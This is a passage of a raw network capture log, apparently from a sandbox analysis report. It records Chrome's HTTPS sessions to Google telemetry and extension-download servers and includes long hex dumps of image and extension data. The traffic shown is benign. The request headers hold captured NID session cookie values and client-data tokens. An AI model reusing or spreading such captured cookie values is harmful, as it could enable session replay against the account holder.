2024-09-28 23:02:45 UTC	1390	IN	Data Raw: ff ff ff ff ff ff ff ff ff ff ff fd fd fd d0 ff ff ff 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fd fd fd 8b ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff b1 d8 a3 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 60 a5 35 ff ca 8e 3e ff f9 c1 9f ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd 87 00 00 00 00 00 00 00 00 00 00 00 00 fe fe fe 25 fd fd fd fb ff ff ff ff ff ff ff ff ff ff ff ff c2 e0 b7 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 6e b6 54 ff 9f ce 8d ff b7 da aa ff b8 db ab ff a5 d2 95 ff 7b bc 64 ff 54 a8 35 ff 53 a8 34 ff 77 a0 37 ff e3 89 41 ff f4 85 42 ff f4 85 42 ff Data Ascii: S4S4S4S4S4S4S4S4S4S4S4S4S4S4`5>%S4S4S4S4S4S4nT{dT5S4w7ABB
2024-09-28 23:02:45 UTC	1390	IN	Data Raw: ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff fb d5 bf ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd ea fd fd fd cb ff ff ff ff ff ff ff ff ff ff ff ff 46 cd fc ff 05 bc fb ff 05 bc fb ff 05 bc fb ff 21 ae f9 ff fb fb ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd c8 fd fd fd 9c ff ff ff ff ff ff ff ff ff ff ff ff 86 df fd ff 05 bc fb ff 05 bc fb ff 15 93 f5 ff 34 49 eb ff b3 b8 f7 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff Data Ascii: BBBBBBF!4I
2024-09-28 23:02:45 UTC	575	IN	Data Raw: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd d2 fe fe fe 24 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 0a fd fd fd 8d fd fd fd fc ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd fb fd fd fd 8b fe fe fe 09 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fe fe fe 27 fd fd fd 9f fd fd fd f7 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff Data Ascii: $'

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.8	49798	142.250.185.174	443	7264	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-28 23:02:50 UTC	1235	OUT	POST /log?format=json&hasfast=true&authuser=0 HTTP/1.1 Host: play.google.com Connection: keep-alive Content-Length: 1218 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-arch: "x86" Content-Type: text/plain;charset=UTF-8 sec-ch-ua-full-version: "117.0.5938.132" sec-ch-ua-platform-version: "10.0.0" X-Goog-AuthUser: 0 sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-wow64: ?0 sec-ch-ua-platform: "Windows" Accept: / Origin: https://accounts.google.com X-Client-Data: CJa2yQEIpbbJAQipncoBCMeVywEIlqHLAQiFoM0BCLnKzQEI+cDUFQ== Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://accounts.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=518=NT-b1A32BaecGGVvgPfQO-TGIu7E-FBpCM5klQaGg_tFOpLI4n6aO7z23z50rAFqOdKxMsMbAhM_drEfKgHmuMogJ9QWns46-uwzAOJwq_cTiJY2rm_gQdhr8hxHPsIFLRyLSoBRsKf4IF9-47LnOE9B4Yp5LLdPcCMQml1cjT0CjQm9lfg
2024-09-28 23:02:50 UTC	1218	OUT	Data Raw: 5b 5b 31 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 22 65 6e 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 5b 5b 22 47 6f 6f 67 6c 65 20 43 68 72 6f 6d 65 22 2c 22 31 31 37 22 5d 2c 5b 22 4e 6f 74 3b 41 3d 42 72 61 6e 64 22 2c 22 38 22 5d 2c 5b 22 43 68 72 6f 6d 69 75 6d 22 2c 22 31 31 37 22 5d 5d 2c 30 2c 22 57 69 6e 64 6f 77 73 22 2c 22 31 30 2e 30 2e 30 22 2c 22 78 38 36 22 2c 22 22 2c 22 31 31 37 2e 30 2e 35 39 33 38 2e 31 33 32 22 5d 2c 5b 34 2c 30 2c 30 2c 30 2c 30 5d 5d 5d 2c 35 35 38 2c 5b 5b 22 31 37 32 37 35 36 34 35 35 38 30 30 30 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c Data Ascii: [[1,null,null,null,null,null,null,null,null,null,[null,null,null,null,"en",null,null,null,[[["Google Chrome","117"],["Not;A=Brand","8"],["Chromium","117"]],0,"Windows","10.0.0","x86","","117.0.5938.132"],[4,0,0,0,0]]],558,[["1727564558000",null,null,null,
2024-09-28 23:02:50 UTC	941	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: https://accounts.google.com Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web Set-Cookie: NID=518=B5AcOeTjKRQnZDNgbePS2g8bgyrVHOo7RQlrlDdVfyWk2Zk_HYkztllEDPgT5kymgiAE4docGd8ucmkZUTyG5YP7OGhTT5i2grT0lf_3HzZyOviiRrItrTN4P-j4szP3NBUWlCwFJtfYPACu3pUsI2fBW_gLGmOnz6ujEOJa8NblpSj7YfEHrCr7uQw; expires=Sun, 30-Mar-2025 23:02:50 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=none P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Content-Type: text/plain; charset=UTF-8 Date: Sat, 28 Sep 2024 23:02:50 GMT Server: Playlog Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Expires: Sat, 28 Sep 2024 23:02:50 GMT Connection: close Transfer-Encoding: chunked
2024-09-28 23:02:50 UTC	137	IN	Data Raw: 38 33 0d 0a 5b 22 2d 31 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 41 4e 44 52 4f 49 44 5f 42 41 43 4b 55 50 22 2c 30 5d 2c 5b 22 42 41 54 54 45 52 59 5f 53 54 41 54 53 22 2c 30 5d 2c 5b 22 53 4d 41 52 54 5f 53 45 54 55 50 22 2c 30 5d 2c 5b 22 54 52 4f 4e 22 2c 30 5d 5d 2c 2d 33 33 33 34 37 33 37 35 39 34 30 32 34 39 37 31 32 32 35 5d 2c 5b 5d 2c 7b 22 31 37 35 32 33 37 33 37 35 22 3a 5b 31 30 30 30 30 5d 7d 5d 0d 0a Data Ascii: 83["-1",null,[[["ANDROID_BACKUP",0],["BATTERY_STATS",0],["SMART_SETUP",0],["TRON",0]],-3334737594024971225],[],{"175237375":[10000]}]
2024-09-28 23:02:50 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.8	49799	142.250.185.129	443	7264	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-28 23:02:50 UTC	564	OUT	GET /crx/blobs/AY4GWKDHKllS27BO_e8bCnbax_jg8ytdTG4Uzua5Kte91Msonmjt9Ssh1u4j53F3UYy-997sHknkzKEy9994XId3zBBDiju_YSunzv5QYwyL8XEx9VuF26n3JIgkmCYaLzIAxlKa5UdUDZoPCHdwU63c7rFT0JUxfsWG/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_82_1_0.crx HTTP/1.1 Host: clients2.googleusercontent.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-28 23:02:51 UTC	573	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Content-Length: 135800 X-GUploader-UploadID: AD-8ljvS_oyIjuSjQse4x_f1LVXKBmfjAXM2kEw1do3hTDXXHs5lglhyAM12yquqa2KHUb-v_0JlDAareQ X-Goog-Hash: crc32c=2rkoIg== Server: UploadServer Date: Sat, 28 Sep 2024 18:29:00 GMT Expires: Sun, 28 Sep 2025 18:29:00 GMT Cache-Control: public, max-age=31536000 Age: 16431 Last-Modified: Wed, 25 Sep 2024 18:28:43 GMT ETag: c770f43b_2e4e8419_a87d1040_314358aa_d4b28262 Content-Type: application/x-chrome-extension Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-09-28 23:02:51 UTC	817	IN	Data Raw: 43 72 32 34 03 00 00 00 e0 15 00 00 12 ac 04 0a a6 02 30 82 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 9c 5e d1 18 b0 31 22 89 f4 fd 77 8d 67 83 0b 74 fd c3 32 4a 0e 47 31 00 29 58 34 b1 bf 3d 26 90 3f 5b 6a 2c 4c 7a fd d5 6a b0 75 cf 65 5b 49 85 71 2a 42 61 2f 58 dd ee dc 50 c1 68 fc cd 84 4c 04 88 b9 99 dc 32 25 33 5f 6f f4 ae b5 ad 19 0d d4 b8 48 f7 29 27 b9 3d d6 95 65 f8 ac c8 9c 3f 15 e6 ef 1f 08 ab 11 6a e1 a9 c8 33 55 48 fd 7c bf 58 8c 4d 06 e3 97 75 cc c2 9c 73 5b a6 2a f2 ea 3f 24 f3 9c db 8a 05 9f 46 25 11 1d 18 b4 49 08 19 94 80 29 08 f2 2c 2d c0 2f 90 65 35 29 a6 66 83 e7 4f e4 b2 71 14 5e ff 90 92 01 8d d3 bf ca a0 d0 39 a0 08 28 e3 d2 5f d5 70 68 32 fe 10 5e d5 59 42 50 58 66 5f 38 cc 0b 08 Data Ascii: Cr240"0H0^1"wgt2JG1)X4=&?[j,Lzjue[IqBa/XPhL2%3_oH)'=e?j3UH\|XMus[*?$F%I),-/e5)fOq^9(_ph2^YBPXf_8
2024-09-28 23:02:51 UTC	1390	IN	Data Raw: f1 43 56 b7 f2 f3 32 8c 97 6b ff e3 2f 3f c6 cf aa aa f3 5b fd a7 a1 fa fc d3 e9 a2 aa 1f 7f fe 71 bb 9c fb 4a fe bd bc f6 63 d5 8f 3f fe f2 8f 1f 43 fe 54 d7 5c ea cf 57 cf a0 29 4c db 10 dc 36 52 b3 ae 4b b3 56 e5 f3 f0 c2 ad db 25 eb a6 af cc 1c 4f a5 a9 5e 44 72 78 41 fb 9f 36 ba 3c 2e c2 53 bd 48 91 71 68 ae 17 fd f9 3a 6c a8 79 f8 fe 7b a7 6e 22 0d 2f 91 1a 7f 3d f4 4e 2d bd f3 25 ba 1c a6 b0 39 df 4b cf ee bf 3f 53 76 db 2f 09 b7 d7 2c 45 d7 ef ef 0b 13 71 f1 34 26 ce cf cf a4 1d 31 62 70 a4 dd d8 08 0f 75 79 47 81 9c d9 a1 04 01 42 40 ec 48 17 3c 73 3f d8 54 9e b0 c5 33 d8 1e fd db a5 f4 a0 91 ef 0e 2f 07 b5 bd 15 26 aa 0b 8f cd 47 13 76 47 13 a8 d2 42 b5 30 f5 75 37 cc 85 b9 b9 1c 77 c1 b3 30 b7 ff 9e e7 f7 b3 05 53 ee aa 9e 59 f5 3e 81 0c 1d b9 Data Ascii: CV2k/?[qJc?CT\W)L6RKV%O^DrxA6<.SHqh:ly{n"/=N-%9K?Sv/,Eq4&1bpuyGB@H<s?T3/&GvGB0u7w0SY>
2024-09-28 23:02:51 UTC	1390	IN	Data Raw: 1b d6 04 22 eb da 27 82 a5 ad 63 16 2d b2 d7 de 7f e5 f8 38 9b d9 24 52 5d ef 15 36 91 61 58 94 c1 5c ba c8 2b f6 30 ce 7d 84 43 e5 5a b2 ab 77 d8 85 5a 03 02 5c 3e 81 8f 0d f9 b5 38 7e 7f 58 eb b9 37 64 0e c6 b0 57 4a 18 93 73 a4 e8 11 d2 b1 a3 4a ee 8a bd 74 93 bd 0c 4a 2a 62 0c b0 53 f6 5a a3 a9 d6 23 46 a7 d0 5f 5e fb f2 ff a1 c1 65 83 87 cc a8 95 f4 c5 67 6e aa 34 71 c3 91 f8 8e 1b 37 a2 17 66 90 e1 4e 87 82 e5 5c 84 2b 32 da 89 f7 52 41 07 9b 72 b3 9c 7b 72 2d ff 51 fb dc 0d f6 84 8b e6 ba 95 6e 60 12 00 3b e4 0b 91 1b c3 91 cc 5a 03 3c cc 43 ff a7 19 9b 8f 07 f3 71 9c 51 bc af ba f3 63 91 bf b5 36 f7 06 17 29 d8 a6 d6 f0 26 95 3b 47 b0 6e 09 40 14 5b 75 a0 7b 8c 44 b4 60 d6 bd 0e d5 f5 c0 8b 0d f0 86 88 f2 4a 0b 9a c5 b2 f7 bb e6 2b d9 e3 56 dd b2 Data Ascii: "'c-8$R]6aX\+0}CZwZ\>8~X7dWJsJtJ*bSZ#F_^egn4q7fN\+2RAr{r-Qn`;Z<CqQc6)&;Gn@[u{D`J+V
2024-09-28 23:02:51 UTC	1390	IN	Data Raw: 70 dd 47 75 cc c6 56 b0 ab ba e9 3d 4a 8c 67 e9 cb cf dc c0 29 23 70 9f c0 01 e6 b3 68 45 a7 fb 8e 25 f6 96 53 af f5 39 11 dd d8 94 07 9d e0 07 40 00 fb 40 ed e0 0a 6e d7 bc 81 88 d0 31 c6 9e 7d 27 5d ad b8 0b cd 84 21 bb ea e0 07 d6 b1 b9 c4 be f4 56 b2 57 03 cd 1b 28 ca c6 b9 94 7c 7b 24 14 9b b1 85 37 a2 13 6f 19 71 be 88 76 fd b8 dd d6 88 6f 9f cc c8 00 69 5f 41 62 95 20 df ff 5c 62 ff d0 7c 77 74 a5 ee 94 be 3b 09 78 b6 44 3b 68 e6 41 cf f6 78 4c 3a 14 11 57 eb 10 6d 1f df fb 8d c4 1b 6e 99 25 be f3 af cd fa e0 19 7a 87 e7 ff c1 df 48 81 43 d7 c6 3f 03 db 83 4c 1d 83 bb e3 5b 6c 6c fd 42 21 1e cf ac 4d 60 3c 53 d8 da 9c 8f 2f e1 de c9 12 22 41 49 d1 15 ab a1 11 33 5c d4 fd b2 5b 59 73 15 d6 fd 6b 70 8f 9b b3 1d ba b6 9b eb f9 e5 5e 9d 14 50 5d 28 3c Data Ascii: pGuV=Jg)#phE%S9@@n1}']!VW(\|{$7oqvoi_Ab \b\|wt;xD;hAxL:Wmn%zHC?L[llB!M`<S/"AI3\[Yskp^P](<
2024-09-28 23:02:51 UTC	1390	IN	Data Raw: bb 0b fd 1c bd 60 5b 55 70 3d 77 b8 fd 66 30 94 7e fc 5f c6 0d 40 08 61 5d 00 dd 2f ef 95 cd 58 3d 12 b7 8e 73 0e 93 b2 41 2e 6e c7 bd f6 36 43 6c 9d 37 12 28 8a 40 fb 2c dc 31 0b 55 f0 bb f5 2d 4d f6 94 9d 6a f4 d8 56 61 05 9f 3a ce 4e 59 a7 ee a9 e5 e8 31 ff eb f8 28 57 41 82 1b d8 54 7d 30 73 1e 3e 63 f6 ad 71 07 80 5c 31 c4 c4 dd e0 14 be 23 4b 36 d8 d0 3a e7 d6 3d 31 ae a3 6c d4 7c e8 81 d4 f7 eb f4 58 63 96 c6 df f7 32 be 99 ff 3b 96 6e 87 ee 9f e7 2d 4f 7f 78 ce f2 5f df 1d a4 c7 c6 d4 54 ed bf ce 4a d6 3a 46 ed 7b ae e3 42 f0 f1 51 f0 ad ca 4c fb 5e 74 ea 56 74 b6 f6 9f d3 57 e1 d5 9f b9 d7 5e fe f7 bb 96 8e e7 1e 0d df b9 f3 7d 16 f3 d8 9c 9f c7 c6 fd fe ff 43 c7 97 a1 e3 ee ab 80 5b 53 b3 98 73 ae f5 ad b9 4e a7 f8 df 87 46 f3 f1 fe 59 dd 7e fc Data Ascii: `[Up=wf0~_@a]/X=sA.n6Cl7(@,1U-MjVa:NY1(WAT}0s>cq\1#K6:=1l\|Xc2;n-Ox_TJ:F{BQL^tVtW^}C[SsNFY~
2024-09-28 23:02:51 UTC	1390	IN	Data Raw: 00 d2 40 43 b4 d1 9b a5 13 86 33 b7 40 6b 0f 86 85 bc f0 6a 25 cf 40 74 87 b6 74 ed 60 34 fb 8b 3f 7d ee d9 8f 7b 03 36 3c 4d 13 55 ac f5 48 7f 94 cf f0 fa fe b6 7e 2d 9f 9f 0f c6 cc fe f1 e8 01 fd 70 24 26 d7 1c cf 8f 61 96 f1 93 48 6e b6 58 e2 6f 12 fe 3a 8e 8e e3 6e 37 10 bb 35 09 4d ba b5 b9 29 5f 6b a0 03 f2 6e 58 45 60 6d 8d cf b7 c3 de 55 02 9c 01 e6 8b 6d 0a 88 ed 2d 15 29 33 76 6d 26 48 d9 d5 28 bd 98 b5 81 ca b1 e3 12 d8 bb 61 35 13 59 6a d2 a8 29 63 61 f2 92 13 f8 e1 33 03 85 e9 05 d0 08 06 88 73 1e 46 81 20 c1 d9 24 4d 7f a7 9b 9b ae f5 1b 1a f2 ed 17 91 e7 e9 3e 55 a3 33 cd 8c 04 64 f9 04 00 a2 f3 11 e7 0e 09 80 b4 34 ab cd cd d5 89 06 44 bb 24 e6 36 62 36 40 56 8a 6f 45 c3 92 e6 c0 7a 8e e6 c3 28 05 94 e4 a5 39 f4 88 2f 2e 03 93 94 f2 bd 04 Data Ascii: @C3@kj%@tt`4?}{6<MUH~-p$&aHnXo:n75M)_knXE`mUm-)3vm&H(a5Yj)ca3sF $M>U3d4D$6b6@VoEz(9/.
2024-09-28 23:02:51 UTC	1390	IN	Data Raw: c1 7b 1a 86 87 c1 69 d8 43 75 8e 66 09 40 82 c5 f4 87 9e df e7 0c 49 2e f1 85 3d 0b ea cb 82 b7 a1 d5 d1 1c 5d 4e 68 57 68 59 c6 d6 cf de bb 12 5c 63 d8 90 0c a3 05 fc 6d 08 3b 9e 73 81 e0 0e bd dc 6e 17 e6 4b c9 18 2c 4a f8 19 54 98 53 58 01 a0 6f 44 dc da 40 06 b1 d9 80 b3 d8 a1 21 fe 9c 70 09 a9 83 68 d7 17 24 fd 84 0b 3e 7d 4f 09 84 4d 9c 87 58 f2 30 a1 67 5c e1 2a 20 94 65 37 1f 58 4b 9f 4b 6f 58 8f c5 e9 6d 6b c9 9d 02 c3 85 92 fe 69 38 14 aa 59 b0 71 ca 95 33 fd ca 4b dc 53 a1 a1 11 b2 43 7d de 21 e0 6b d5 d6 c0 06 fb 61 21 1b 94 7b 99 9a ed 24 ee 71 d7 2b 0b a1 80 48 c6 7a 5d 10 0a 96 25 1b c4 bf c3 e3 37 20 a6 bf 8d 83 1e db da 82 7f c2 b0 b9 b9 09 78 2a c4 9b 43 10 e6 00 fb d0 7a 37 ae 1d 72 40 73 6c f1 e0 75 bd ee 27 6e df 98 c8 85 7b 28 ed 74 Data Ascii: {iCuf@I.=]NhWhY\cm;snK,JTSXoD@!ph$>}OMX0g\* e7XKKoXmki8Yq3KSC}!ka!{$q+Hz]%7 x*Cz7r@slu'n{(t
2024-09-28 23:02:51 UTC	1390	IN	Data Raw: ac a7 bd b5 e5 6f 34 3d 62 43 e6 84 e3 41 ca 26 a6 61 a3 82 c6 ac c0 b4 44 74 ec 16 2d ae 5b 28 6c dd 50 50 e4 63 b4 2b 59 fc 5e 55 72 0d d8 8b e5 47 98 13 7e d8 f5 c5 ae ad 70 c9 c6 bc 81 d5 c6 01 fa 80 6e be 68 ae 8b 6a 96 d9 22 7c fb 47 cd d5 a8 b9 72 2b d4 f6 35 ed dc a9 6c 88 4f b0 d4 14 10 f3 7d 66 1a 28 ca ca 34 2e 88 41 bd 80 e6 1b 7a b4 a0 f9 a7 a1 a0 35 30 6f 52 92 fa fe 29 ed 4f 24 fc 64 47 b7 3a 5d f5 79 57 00 3d 90 66 2f 31 fe 54 c6 36 a4 b3 b5 e2 4d ac dd 47 40 b0 90 58 a1 0f ce bb 8a 81 71 c5 46 34 0c 4c 22 09 e3 d2 24 b8 b7 20 49 dc 44 68 d4 4b 8d 8c c2 ed 82 cf ff ff 73 b0 b8 8a 83 25 9a 83 c5 82 77 6d 24 24 bd c4 c0 9e 12 cd b7 12 9a 53 0c 1c 2a a9 78 cf 5b b3 be 95 b8 17 2a c7 7a fd 33 58 2a cd bd 32 c1 7b 32 83 7b c5 fa 27 32 9e 58 b7 Data Ascii: o4=bCA&aDt-[(lPPc+Y^UrG~pnhj"\|Gr+5lO}f(4.Az50oR)O$dG:]yW=f/1T6MG@XqF4L"$ IDhKs%wm$$Sx[z3X*2{2{'2X
2024-09-28 23:02:51 UTC	1390	IN	Data Raw: d9 4a dc 3b c3 13 30 1b ca 95 d0 89 da ac c3 b7 7b 6f 4a 7f a1 46 c7 61 74 92 a1 1d b5 1d 6c d9 51 4d 03 c7 e4 9f 16 8b c8 74 ad ae 8d 7d d7 63 39 af 1a 8b d1 ae 6a 4b 00 8c f7 a0 9d b4 e4 7a 60 a1 13 f3 75 fe 39 87 ed b7 f6 88 89 7f 89 d1 07 3a 66 fa 37 93 67 bd e4 aa 90 44 d3 60 a7 a7 03 98 71 23 02 39 d1 57 d4 c1 70 c7 ec 30 e3 90 d8 06 b3 fc 7a 44 41 ca 54 e7 e9 b6 54 2c ca 44 74 8a f6 50 11 7b 20 2b f9 db da aa 60 c7 d4 a5 b7 aa ef 05 e5 52 f3 d1 b4 e8 65 33 31 b3 14 84 29 85 88 e2 5d 84 9a e1 72 b5 d7 95 62 06 3c 34 40 2e 25 3c 2e c3 e7 e2 9d d1 3b c2 71 73 73 cd 07 23 2a 40 c9 e5 ce 88 cd 7a 67 69 0d 09 29 fa 23 b6 5a 9d df ac bd a3 30 e3 52 8c 86 ec b7 c6 80 f4 d2 ee 5a 5b f2 56 40 6f ad 03 3a 9a d7 a8 06 ac 6d 42 12 a8 e8 de 44 8e 32 3c 89 d1 25 Data Ascii: J;0{oJFatlQMt}c9jKz`u9:f7gD`q#9Wp0zDATT,DtP{ +`Re31)]rb<4@.%<.;qss#*@zgi)#Z0RZ[V@o:mBD2<%
2024-09-28 23:02:51 UTC	1390	IN	Data Raw: d8 58 d8 8f 8c fe 86 e6 46 61 22 0c 5a 6b ed 56 94 f4 46 d9 1a 00 1a b9 a5 5b c8 ac 28 ba f9 91 39 b0 72 75 1c 90 c8 f0 82 8e 6f 2c ba d9 ea 6c 90 34 46 73 1d 2b 7b c0 79 63 b7 97 1f 8c 66 d5 bb 57 7e 75 9b b4 81 a3 5e 8e c6 42 1e c8 28 8d b5 2b e6 75 43 e7 f4 7f 45 e1 38 ea 88 46 d6 94 f7 84 49 db 9f e8 26 4b 36 7e b3 c9 69 55 93 a5 f2 b2 49 c3 8a 14 29 85 47 c2 e6 a9 74 bf e8 c0 03 e3 ab ca 20 41 49 69 c2 48 9f 50 d3 62 ce 8a bd 48 8a 37 20 d6 f8 29 3f 53 0d 4d 26 4f 53 ab 8b e4 49 aa 5d 8f 06 b2 cd 2d 94 a1 f3 0e 03 76 f9 16 94 1c 5c d0 11 fd 05 f6 d5 1f 8d cf 39 ed ad e1 3b c3 de 73 16 c9 ec 04 25 57 0d 6a 5a 42 e5 11 ca 9a 83 db c9 f1 7c e2 6e ce 34 3d 4b 61 ab 5d 3a be 73 ce 26 23 00 34 7c 52 06 01 d8 50 86 4d 49 f6 c1 6c 73 98 99 44 80 b0 7b 4a 0b Data Ascii: XFa"ZkVF[(9ruo,l4Fs+{ycfW~u^B(+uCE8FI&K6~iUI)Gt AIiHPbH7 )?SM&OSI]-v\9;s%WjZB\|n4=Ka]:s&#4\|RPMIlsD{J

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.8	49800	142.250.185.174	443	7264	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-28 23:02:51 UTC	1243	OUT	POST /log?format=json&hasfast=true&authuser=0 HTTP/1.1 Host: play.google.com Connection: keep-alive Content-Length: 1218 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-arch: "x86" Content-Type: text/plain;charset=UTF-8 sec-ch-ua-full-version: "117.0.5938.132" sec-ch-ua-platform-version: "10.0.0" X-Goog-AuthUser: 0 sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-wow64: ?0 sec-ch-ua-platform: "Windows" Accept: / Origin: https://accounts.google.com X-Client-Data: CJa2yQEIpbbJAQipncoBCMeVywEIlqHLAQiFoM0BCLnKzQEI+cDUFQ== Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://accounts.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=518=B5AcOeTjKRQnZDNgbePS2g8bgyrVHOo7RQlrlDdVfyWk2Zk_HYkztllEDPgT5kymgiAE4docGd8ucmkZUTyG5YP7OGhTT5i2grT0lf_3HzZyOviiRrItrTN4P-j4szP3NBUWlCwFJtfYPACu3pUsI2fBW_gLGmOnz6ujEOJa8NblpSj7YfEHrCr7uQw
2024-09-28 23:02:51 UTC	1218	OUT	Data Raw: 5b 5b 31 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 22 65 6e 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 5b 5b 22 47 6f 6f 67 6c 65 20 43 68 72 6f 6d 65 22 2c 22 31 31 37 22 5d 2c 5b 22 4e 6f 74 3b 41 3d 42 72 61 6e 64 22 2c 22 38 22 5d 2c 5b 22 43 68 72 6f 6d 69 75 6d 22 2c 22 31 31 37 22 5d 5d 2c 30 2c 22 57 69 6e 64 6f 77 73 22 2c 22 31 30 2e 30 2e 30 22 2c 22 78 38 36 22 2c 22 22 2c 22 31 31 37 2e 30 2e 35 39 33 38 2e 31 33 32 22 5d 2c 5b 34 2c 30 2c 30 2c 30 2c 30 5d 5d 5d 2c 35 35 38 2c 5b 5b 22 31 37 32 37 35 36 34 35 35 39 30 30 30 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c Data Ascii: [[1,null,null,null,null,null,null,null,null,null,[null,null,null,null,"en",null,null,null,[[["Google Chrome","117"],["Not;A=Brand","8"],["Chromium","117"]],0,"Windows","10.0.0","x86","","117.0.5938.132"],[4,0,0,0,0]]],558,[["1727564559000",null,null,null,
